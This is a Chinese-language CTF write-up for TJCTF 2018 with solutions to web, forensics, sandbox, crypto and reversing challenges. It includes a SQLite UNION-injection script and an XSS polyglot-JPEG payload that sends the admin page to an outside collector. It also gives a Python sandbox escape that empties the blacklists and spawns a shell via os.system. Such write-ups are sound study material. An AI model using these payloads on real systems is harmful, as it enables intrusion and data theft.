tjctfwp

挺好的比赛 做了快一周

web

Ess Kyoo Ell

Ess Kyoo Ell 一查就是sql的意思

随便输些邮箱密码 但怎么输都是 no column : password

然后我把password改成pass 发现报错 no column : pass

可以看出给的email和password参数只是幌子 它会把你输的键值对的参数名放入数据库中查询

干脆邮箱都不输直接输pass 果然还是 no column : pass

这里自然想到联合注入 ‘ union select xxx –+ 的形式成功闭合

然后试下列数 7 列

‘union select 1,2,3,4,5,6,7 –+

回显了一些有用的字段名 但想再查这些字段还是报错 no column 应该是表名不对

到此为止准备工作就完成了

一开始当mysql做的gg 后来查了下报错的语句应该是sqlite

sqlite_version(*) 返回SQLite的版本 试了下可以果然是sqlite

回显了一些有用的字段名 但想再查这些字段还是报错 no column 应该是表名不对

sqlite的隐藏表是 sqlite_master

‘union select 1,2,3,4,5,6,7 –+

sqlite_master表中的字段有type,name,tbl_name,rootpage,sql

name字段可以获取所有表名

‘union select name,2,3,4,5,6,7 from sqlite_master –+

表名是users 改为from users 再查id username ip_address什么就不会提示 no column 了

but这里就到了第二个坑点 limit 试了一下 总共有1000个数据 而题目要求是admin的ip_address

很显然要用 where语句限制 但一用where就会出现各种错误 gg where用不了

所以只能用limit一个一个遍历 但如何保证数据匹配呢

后来想到了 同时查 username ip_address 这样回显的应该是匹配的数据

为了确认这一点 我同时查询了 email (试几个可以发现email与username是一一对应的)

果真如此 确实匹配 不过即使这样数据量还是很多

这里我由试了试 发现了一个关键点 就是哪个字段先放前面结果就会按这个字段的字典序排列

admin a和d应该在比较前面所以构造

union select username,ip_address,email,first_name,last_name,gender,id from users limit x,1 –+

不断改变x的值即可 这里也懒得手动了 写了个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python
import requests
flag = ""
url = "https://ess-kyoo-ell.tjctf.org/"
for i in range(0,1000):
data = {"'union select username,ip_address,email,first_name,last_name,gender,id from users limit "+str(i)+',1 --+':''}
s = requests.post(url,data=data).content
#print i
if 'admin' in s:
print s
break

but写脚本这里还有最后一个坑点 以往的post请求中data键值对 都是参数名:值

但这个由于payload是参数名 所以要写成 payload : ‘’(后面留空)的形式 不过留不留空应该也无所谓 它好像只匹配到参数名

这题做了蛮久的 但也学到了很多

request me

感觉有点玄学的一道 也是做了好久

有一个 HTTP Basic auth认证
https://www.cnblogs.com/rinack/p/7595232.html
https://code.csdn.net/ZhuTH/zthblog/tree/master/views/admin.py

一开始github搜了个爆破脚本跑了好久 当然gg

后来试了好久 结束前一晚做出来的

根据题目提示改请求方法为options

提示 put delete get post options 和参数 username password

并说有些方法需要验证 (basic auth)

不带username password put会说你的凭证在哪 我没偷

那肯定要带 带就会说 我偷了你的凭证

然后再用delete 我想凭证吗 就它显示的那个cen什么的单词 也带上请求

结果就拿到了flag..

首先让 post 200(咋让200也挺玄学 多试几次或许可以。。)

然后

put 不带参数

put 带参数

delete 增加参数

当你成功后想再试一遍 可能又不行了。。 真的玄学

我看了其他师傅的一个视频题解 用的curl解的 –data 指定参数

-u指定验证的数据 格式 xx:xx

看起来curl挺方便的

不过他也是这种玄学问题 同样方法再来一遍就gg 而且视频中也有些地方感觉说错了

Moar Horses

贼奇葩的一道题 hint写了不是真正的web

好吧真的不是。。

提示向下滚动 但你拉拉鼠标咋看都没有尽头

然而正确解法还真是这样

但关键点我没注意到 在向下滚动同时页面实际上在不断进行新的请求

请求的是 https://moar_horse.tjctf.org/legs

不断向下滚动好久好久就会出现flag

这里当然不能手动 用几句js代码代替

window.setInterval(function()(window.scrollByLines(10000)),1)

然后按照大小排序 静静等待就行了

好吧 其实不断请求就行了。。

1
2
3
4
5
6
7
8
9
import requests
url = "https://moar_horse.tjctf.org/legs"
while True:
res = requests.get(url).text
if "Oops" not in res:
print(res)
break

Programmable Hyperlinked Pasta

php文件读取 ../flag.txt

Stupid Blog

web的压轴题

题目说什么向admin要 可能有xss

页面有个传文件的地方 或许要getshell

还有个地方可以保存文本 有个按钮可以提交给admin 这里估计就是xss点

xss的题目我是不怎么熟悉的 看起来很吃力

这个有csp的限制

随便xss一下会有csp的报错

需要绕过 content-security-policy: default-src ‘self’ 就是所有的外部资源,都只能从当前域名加载

先了解下 csp
http://www.ruanyifeng.com/blog/2016/09/csp.html

题目还有个上传头像的地方应该不是随便给的

所以考虑通过上传图片绕过csp

https://portswigger.net/blog/bypassing-csp-using-polyglot-jpegs

这篇文章就是这个思路 并且给了我们图片poc

只需要把*/=alert("Burp rocks.");/*

改成 */=x=new XMLHttpRequest();x.open("GET","admin",false);x.send(null);document.location="http://merl1n.proxy.beeceptor.com/y"+x.responseText;/*

但这个执行成功还有个条件 要允许 polyglot 查了下应该就是要支持多国语言

要插入一段js

说下这里src为什么是 merl1ng/pfp

src这里要写的是图片的路径 merl1ng是注册的用户名同时是分配的目录名

pfp是你传图片时回显的 saved pfp 说明文件名是pfp 那为啥不咋根目录下呢

当然有可能 路径是试出来的

刚好把它写入题目中保存文本的地方 然后提交即可打到

还有为啥路径不像文章中那样写完整 https://stupid_blog.tjctf.org/merl1ng/pfp

因为你这样写就会报错 Post content is too long

好了 终于理完了思路和坑点

GET 后面就是 admin页面的所有内容 flag也在里面

1
/y%3C!DOCTYPE%20html%3E%3Chtml%20lang=%22en%22%3E%3Chead%3E%20%20%20%20%3Ctitle%3Eadmin%3C/title%3E%3Cmeta%20charset=%22UTF-8%22%3E%3Cmeta%20name=%22viewport%22%20content=%22width=device-width,%20initial-scale=1%22%3E%3C!--===============================================================================================--%3E%3Clink%20rel=%22icon%22%20type=%22image/png%22%20href=%22/images/icons/favicon.ico%22/%3E%3C!--===============================================================================================--%3E%3Clink%20rel=%22stylesheet%22%20type=%22text/css%22%20href=%22/vendor/bootstrap/css/bootstrap.min.css%22%3E%3C!--===============================================================================================--%3E%3Clink%20rel=%22stylesheet%22%20type=%22text/css%22%20href=%22/fonts/font-awesome-4.7.0/css/font-awesome.min.css%22%3E%3C!--===============================================================================================--%3E%3Clink%20rel=%22stylesheet%22%20type=%22text/css%22%20href=%22/vendor/animate/animate.css%22%3E%3C!--===============================================================================================--%3E%3Clink%20rel=%22stylesheet%22%20type=%22text/css%22%20href=%22/vendor/css-hamburgers/hamburgers.min.css%22%3E%3C!--===============================================================================================--%3E%3Clink%20rel=%22stylesheet%22%20type=%22text/css%22%20href=%22/vendor/select2/select2.min.css%22%3E%3C!--===============================================================================================--%3E%3Clink%20rel=%22stylesheet%22%20type=%22text/css%22%20href=%22/css/util.css%22%3E%3Clink%20rel=%22stylesheet%22%20type=%22text/css%22%20href=%22/css/main.css%22%3E%3C!--===============================================================================================--%3E%3C/head%3E%3Cbody%3E%20%20%3Cdiv%20class=%22limiter%22%3E%3Cdiv%20class=%22container-login100%22%3E%3Cdiv%20class=%22wrap-login100%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20class=%22login100-pic%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ca%20class=%22login100-form-btn%22%20href=%22/report%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Report%20a%20User%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C/a%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C/div%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20class=%22login100-pic%20js-tilt%22%20data-tilt%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cimg%20src=%22/admin/pfp%22%20alt=%22IMG%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C/div%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cform%20class=%22login100-form%22%20method=%22POST%22%20action=%22/edit_pfp%22%20enctype=%22multipart/form-data%22%3E%3Cspan%20class=%22login100-form-title%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Update%20Profile%20Picture%20(png,%20jpg)%3C/span%3E%3Cdiv%20class=%22wrap-input100%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cinput%20class=%22input100%20fileinput%22%20type=%22file%22%20name=%22pfp%22%3E%3Cspan%20class=%22focus-input100%22%3E%3C/span%3E%3Cspan%20class=%22symbol-input100%22%3E%3Ci%20class=%22fa%20fa-image%22%20aria-hidden=%22true%22%3E%3C/i%3E%3C/span%3E%3C/div%3E%3Cdiv%20class=%22container-login100-form-btn%22%3E%3Cbutton%20class=%22login100-form-btn%22%3ESave%3C/button%3E%3C/div%3E%3C/form%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cform%20class=%22login100-form%20validate-form%22%20method=%22POST%22%20action=%22/edit/admin%22%3E%3Cspan%20class=%22login100-form-title%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20admin's%20Posts%20-%20%3Ca%20href=%22/logout%22%3ELogout%3C/a%3E%3C/span%3E%3Cdiv%20class=%22wrap-input100%20validate-input%22%20data-validate%20=%20%22Content%20is%20required%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cinput%20class=%22input100%22%20type=%22text%22%20name=%22content%22%20value=%22tjctf%7B1m4g3_p0lygl0t_1s_w3ird%7D%22%3E%3Cspan%20class=%22focus-input100%22%3E%3C/span%3E%3Cspan%20class=%22symbol-input100%22%3E%3Ci%20class=%22fa%20fa-user%22%20aria-hidden=%22true%22%3E%3C/i%3E%3C/span%3E%3C/div%3E%3Cdiv%20class=%22container-login100-form-btn%22%3E%3Cbutton%20class=%22login100-form-btn%22%3ESave%3C/button%3E%3C/div%3E%3Cdiv%20class=%22text-center%20p-t-136%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20tjctf%7B1m4g3_p0lygl0t_1s_w3ird%7D%3C/div%3E%3C/form%3E%3C/div%3E%3C/div%3E%3C/div%3E%3Cscript%20src=%22/vendor/jquery/jquery-3.2.1.min.js%22%3E%3C/script%3E%3Cscript%20src=%22/vendor/bootstrap/js/popper.js%22%3E%3C/script%3E%3Cscript%20src=%22/vendor/bootstrap/js/bootstrap.min.js%22%3E%3C/script%3E%3Cscript%20src=%22/vendor/select2/select2.min.js%22%3E%3C/script%3E%3Cscript%20src=%22/vendor/tilt/tilt.jquery.min.js%22%3E%3C/script%3E%3Cscript%20src=%22/js/main.js%22%3E%3C/script%3E%20%20%20%20tjctf%7B1m4g3_p0lygl0t_1s_w3ird%7D%3C/body%3E%3C/html%3E

话说 beeceptor.com 这网站还挺好用的 而且不用注册

Central Savings Account

有个表单 但测试一下根本没交互

那估计是js了

看下本地的js 果然

misc

Ssleepy

流量包分析

随手一个追踪流 可以看到 key.zip

这里还给了ftp协议的账号密码 我连了下试试 gg

然后我就想提取 key.zip 流量里找了找没有 百度搜了下 可以formest(应该不是这么拼的)

但f什么能做的binwalk也可以 binwalk 一下真有点东西 -e拿出来

发现是个pem格式的私钥 立马想到ddctf上那道 回去查了下基本一样

wireshark把私钥导进去就可以看到解密过后新的流量

看到flag.jpg 再往后三个 FFD8一看就是jpg文件头 随即这三个就是hex形式的flag.jpg

提取出来放winhex里 拿到flag图片

回来看 题目其实提示了 ssl

We Will Rock You

给了个狗狗币钱包的相关文件 让找到密码

之前没做过的类型 一脸懵逼

看题解倒是很简单 https://github.com/gurnec/btcrecover.git

用这个脚本找个字典爆破就行了

当时看这比较陌生虚了 应该去github上搜一波的

https://theflagisnothere.github.io/categories/TJCTF%202018/We%20Will%20Rock%20You/

Huuuuuge

题目是这样的

1
2
3
Don't think too deep.
104.154.187.226/huuuuuge

访问这个url不行 这里稍微脑洞了一下huge 把ip加了加试试 然后gg

正确做法是nmap扫描 发现 git 其实我当时也扫了 但对git相关操作没啥影响 忽略掉了。。

然后要用 git clone 但这里的命令还要复杂一点 之前没有见过

git clone –depth 1 git://104.154.187.226/huuuuuge flag

https://theflagisnothere.github.io/categories/TJCTF%202018/Huuuuuge/

Learn_My_Flag

很明确告诉了给的是机器学习相关的文件

打开搜了下信息 应该是keras 然后。。就没然后了 只在建模时候学过一点点 并不会做这题

解法参考
https://github.com/TheRealOddCoder/tjctf2018/tree/master/Learn_My_Flag

机器学习相关的题目 17hctf上有一道 强网杯有一道 估计和区块链一样以后出现次数会增加

ctfer真的是啥都要学orz

Nothing but Everything

说是文件被勒索软件加密了

看了下都是十进制 猜测要么用还原软件 要么转16转ascii

搜了解密软件发现好多种 要根据被加密的文件特征选择 但这题的文件数据没啥特征

那么就应该是思路二 但看这题在比较后面了 懒得做了。。

看了下题解应该就是这样做的

Mirror Mirror

py的沙盒 以前见过没学过 这次刚好看看

学到了大佬们的好多种思路

所有方法都应首先完成这两步

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
>>> dir(get_flag)
[
'__call__',
'__class__',
'__closure__',
'__code__',
'__defaults__',
'__delattr__',
'__dict__',
'__doc__',
'__format__',
'__get__',
'__getattribute__',
'__globals__',
'__hash__',
'__init__',
'__module__',
'__name__',
'__new__',
'__reduce__',
'__reduce_ex__',
'__repr__',
'__setattr__',
'__sizeof__',
'__str__',
'__subclasshook__',
'func_closure',
'func_code',
'func_defaults',
'func_dict',
'func_doc',
'func_globals',
'func_name'
]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
>>> get_flag.func_globals
{
'PseudoFile':<class '__main__.PseudoFile'>,
'code':<module 'code' from '/usr/lib/python2.7/code.pyc'>,
'bad':[
'__class__',
'__base__',
'__subclasses__',
'_module',
'open',
'eval',
'execfile',
'exec',
'type',
'lambda',
'getattr',
'setattr',
'__',
'file',
'reload',
'compile',
'builtins',
'os',
'sys',
'system',
'vars',
'getattr',
'setattr',
'delattr',
'input',
'raw_input',
'help',
'open',
'memoryview',
'eval',
'exec',
'execfile',
'super',
'file',
'reload',
'repr',
'staticmethod',
'property',
'intern',
'coerce',
'buffer',
'apply'
],
'__builtins__':<module '?' (built-in)>,
'__file__':'/home/app/problem.py',
'execfile':<built-in function execfile>,
'__package__':None,
'sys':<module 'sys' (built-in)>,
'getattr':<built-in function getattr>,
'Shell':<class __main__.Shell at 0x7f1979641c80>,
'banned':[
'vars',
'getattr',
'setattr',
'delattr',
'input',
'raw_input',
'help',
'open',
'memoryview',
'eval',
'exec',
'execfile',
'super',
'file',
'reload',
'repr',
'staticmethod',
'property',
'intern',
'coerce',
'buffer',
'apply'
],
'InteractiveConsole':<class code.InteractiveConsole at 0x7f1979641c18>,
'eval':<built-in function eval>,
'get_flag':<function get_flag at 0x7f19796518c0>,
'__name__':'__main__',
'main':<function main at 0x7f1979664410>,
'__doc__':None,
'print_function':_Feature((2,
6,
0,
'alpha',
2 ),
(3,
0,
0,
'alpha',
0 ),
65536 )
}

重置黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
>>> get_flag.func_globals.keys() #这里其实get_flag.func_globals就能看到
['PseudoFile', 'code', 'bad', '__builtins__', '__file__', 'execfile',
'__package__', 'sys', 'getattr', 'Shell', 'banned', 'InteractiveConsole',
'eval', 'get_flag', '__name__', 'main', '__doc__', 'print_function']
>>> get_flag.func_globals["banned"]
['vars', 'getattr', 'setattr', 'delattr', 'input', 'raw_input', 'help',
'open', 'memoryview', 'eval', 'exec', 'execfile', 'super', 'file',
'reload', 'repr', 'staticmethod', 'property', 'intern', 'coerce', 'buffer',
'apply']
>>> get_flag.func_globals["bad"]
['__class__', '__base__', '__subclasses__', '_module', 'open', 'eval',
'execfile', 'exec', 'type', 'lambda', 'getattr', 'setattr', '__', 'file',
'reload', 'compile', 'builtins', 'os', 'sys', 'system', 'vars', 'getattr',
'setattr', 'delattr', 'input', 'raw_input', 'help', 'open', 'memoryview',
'eval', 'exec', 'execfile', 'super', 'file', 'reload', 'repr',
'staticmethod', 'property', 'intern', 'coerce', 'buffer', 'apply']

把黑名单置空

1
2
>>> get_flag.func_globals["banned"] = []
>>> get_flag.func_globals["bad"] = []

最后

1
2
3
4
>>> fd = open("/home/app/problem.py") #路径在get_flag.func_globals里面可以读到
>>> data = fd.read()
>>> fd.close()
>>> print(data)

读出源文件里就有混淆过的flag 直接 在py2在print就有flag

这里重置完黑名单还有一种思路

直接get_flag.func_globals[‘sys’].modules[‘os’].system(‘/bin/sh’) 拿到shell

然后 ls cat

获取 os.system 函数

1
2
3
4
5
6
7
8
>>> ops = get_flag.func_globals['sy'+'s'].modules['o'+'s'] # Get the "os" module
>>> gtattr = get_flag.func_globals['getatt' + 'r'] # Since "getattr" is blocked, we need to get it from "get_flag"
>>> stm = gtattr(ops, 's' + 'ystem') # Get the "os.system" function
>>> stm('ls')
problem.py
wrapper
0
>>> stm('cat problem.py')

读出文件后同上

仅使用特殊字符生成字符串

https://github.com/Lev9L-Team/ctf/tree/master/2018-08-07_tjctf/mirror_mirror

反弹 shell

http://www.aperikube.fr/docs/tjctf_2018/mirror_mirror/

Lexington State Bank

提示的很明显了 图片的lsb隐写

stegsolve做了下不是很好提取 后来直接用之前一个比赛上见过的 zsteg

直接就出来了 (这个要装ruby环境)

Interference

这题zz了 v1 v2两张雪花图

先stegsolve 两张xor等等操作了一遍

v1 stegsolve操作了一遍 没动西我就没动了

结果v2 stegsolve过一遍就有。。。。。当时智障了

v2大小比v1大 但像素大小一模一样 很明显终点应该在v2上

当时还ps试了下之前见过的差值。。

The Abyss

分最高的题 还是py的沙盒 应该要拿到shell

难点在于过滤了 _

https://kmh.zone/writeups/tjctf-2018/theabyss.html
http://blog.seekintoo.com/the-abyss-writeup.html

crypto

Caesar’s Complication

这题我要吹一年 如果是动态分数制这道就是做出来中分最高的一题

给的东西结合题目肯定就是rot加密 0-13共14种

查找关键字 首先ctrl f 就可以横向查找 tjctf 或者倒过来 ftcjt

但试一圈gg 然后由于数据是100*100的方阵 我猜是转置过的 竖向查找 这一般软件没这功能

眼看要累死 必须要写脚本

这里因为对c的二维数组比较熟悉 没有选择用python

但写c也是不断的在踩坑。。

刚开始用的读字节 fgetc 读是能读 but跳出那个循环就gg了 打印不出二维数组刚才读的元素 printf puts全部gg

后来用的 fscanf(fp,”%s”,s[i]);

调了下数组正好为100x100才成功 fgetc 100x100就不行

发现好像是读多的话就会出现那种异常现象 可能是c语言机制问题 没深究

再查下主副对角线及其颠倒 共计 (8-2) 种 最后再 rot8中发现了 tjctf字样 get flag!

最终脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <stdio.h>
main()
{
char s[100][100] = {0};
int i=0,j;
FILE *fp;
fp = fopen("8.txt","r");
for(i=0;i<100;i++)
{
fscanf(fp,"%s",s[i]);
// printf("%s\n",s[i]);
}
for(i=0;i<100;i++)
{
for(j=0;j<100;j++)
{
if(i<94)
{
if(s[i][j]=='t'&&s[i+1][j]=='j'&&s[i+2][j]=='c'&&s[i+3][j]=='t'&&s[i+4][j]=='f')
{
printf(" %d %d",i,j);
printf("\none");
}
else if(j<94&&s[i][j]=='t'&&s[i+1][j+1]=='j'&&s[i+2][j+2]=='c'&&s[i+3][j+3]=='t'&&s[i+4][j+4]=='f')
{
printf(" %d %d",i,j);
printf("\ntwo");
}
else if(s[i][j]=='f'&&s[i+1][j]=='t'&&s[i+2][j]=='c'&&s[i+3][j]=='j'&&s[i+4][j]=='t')
{
printf(" %d %d",i,j);
printf("\nthree");
}
else if(j<94&&s[i][j]=='f'&&s[i+1][j+1]=='t'&&s[i+2][j+2]=='c'&&s[i+3][j+3]=='j'&&s[i+4][j+4]=='t')
{
printf(" %d %d",i,j);
printf("\nfour");
}
else if(j>5&&s[i][j]=='t'&&s[i+1][j-1]=='j'&&s[i+2][j-2]=='c'&&s[i+3][j-3]=='t'&&s[i+4][j-4]=='f')
{
printf(" %d %d",i,j);
printf("\nfive");
}
else if(j>5&&s[i][j]=='f'&&s[i+1][j-1]=='t'&&s[i+2][j-2]=='c'&&s[i+3][j-3]=='j'&&s[i+4][j-4]=='t')
{
printf(" %c %c %c %c %c %c",s[i-1][j+1],s[i][j],s[i+1][j-1],s[i+2][j-2],s[i+3][j-3],s[i+4][j-4],s[i-1][j+1]);
printf(" %d %d",i,j);
printf("\nsix");
}
}
}
}
}

Vinegar

1
2
3
key = Kkkkk kkkkKkkkkkkkkKkkkkkkkkKkk
flag = uucbx{simbjyaqyvzbzfdatshktkbde}
sha256 = 8304c5fa4186bbce7ac030d068fdd485040e65bf824ee70b0bdbac03862bec93

从题目可以看出key有9位

这题我老老实实算key前5位 反推部分flag 再根据剩下四个key在相关地方间隔相等原理爆破(12/3)位

然后看了别人一眼wp发现sha256有些网站可以直接解出来。。。我说咋这么多人做出来

话说我当时也试了几个网站解了下gg了 他们用的是啥网站???

最终脚本 调试了蛮久的 因为key前五位的结果和反推是手算的

key到没错 但第二组反推的结果中 esala 算成了 epala导致一直没成功

后来是找到了个在线网站把key打进去试了试 依据前5位key的结果应该一样

这才发现有一位手算错了。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#-*-coding:utf-8-*-
# python 2.7
import hashlib
def get_sha256(temp):
sha1str = temp
s1 = hashlib.sha256()
s1.update(sha1str.encode("utf-8"))
sha256 = s1.hexdigest()
return sha256
target = "8304c5fa4186bbce7ac030d068fdd485040e65bf824ee70b0bdbac03862bec93"
maybe = "abcdefghijklmnopqrstuvwxyz"
# key[0:5]=blais
#UUCBXSIMBJYAQYVZBZFDATSHKTKBDE
#uucbx{simbjyaqyvzbzfdatshktkbde}
# s v h
#tjctf{?000inaig0000epala0000ase}
#i5 = maybe[(((ord('a')-ord('s'))%26 + 22))%26-1]
for i1 in maybe:
for i2 in maybe:
for i3 in maybe:
for i4 in maybe:
i5 = maybe[(((ord(i1)-ord('s'))%26 + 22))%26-1]
i6 = maybe[(((ord(i2)-ord('i'))%26 + 26))%26-1]
i7 = maybe[(((ord(i3)-ord('m'))%26 + 2))%26-1]
i8 = maybe[(((ord(i4)-ord('b'))%26 + 26))%26-1]
i9 = maybe[(((ord(i1)-ord('s'))%26 + 8))%26-1]
i10 = maybe[(((ord(i2)-ord('i'))%26 + 11))%26-1]
i11 = maybe[(((ord(i3)-ord('m'))%26 + 20))%26-1]
i12 = maybe[(((ord(i4)-ord('b'))%26 + 11))%26-1]
flag = "tjctf{" +i1+i2+i3 +i4+"inaig"+i5+i6+i7+i8+"esala"+i9+i10+i11+i12+"ase"+"}"
# print flag
#flag=flag.upper()
if (get_sha256(flag)==target):
print flag

reverse

python reverse

给的py文件 不是pe那种 所以就做了下

试了下按位验证 这还逆个啥 爆破!梭哈!

不过虽说是按位验证 也有几个要注意的地方

fuzz一下数字和其他字符运算后得到的位数不同 数字是8位 其他字符是9位

所以采取优先结合多的原则 先匹配9位的 然后8位

还有按位 但这里要结合前面的结果

就是说 t 然后不是 j 而是 tj 下一位的验证要带上之前所有的

所以目标字符串切片时要 [0:t+9] 每一次都从0开始

最终脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import numpy as np
def fun(flag):
np.random.seed(12345)
arr = np.array([ord(c) for c in flag])
other = np.random.randint(1,5,(len(flag)))
arr = np.multiply(arr,other)
b = [x for x in arr]
lmao = [ord(x) for x in ''.join(['ligma_sugma_sugondese_'*5])]
c = [b[i]^lmao[i] for i,j in enumerate(b)]
return(''.join(bin(x)[2:].zfill(8) for x in c))
strr = "1001100001011110110100001100001010000011110101001100100011101111110100011111010101010000000110000011101101110000101111101010111011100101000011011010110010100001100010001010101001100001110110100110011101"
tt = 0
finall = ""
for j in range(0,30):
for i in range(33,127):
if(strr[0:tt+9]==fun(finall+chr(i))):
finall = finall + chr(i)
tt = tt + 9
elif(strr[0:tt+8]==fun(finall+chr(i))):
finall = finall + chr(i)
tt = tt + 8
print finall

最终结果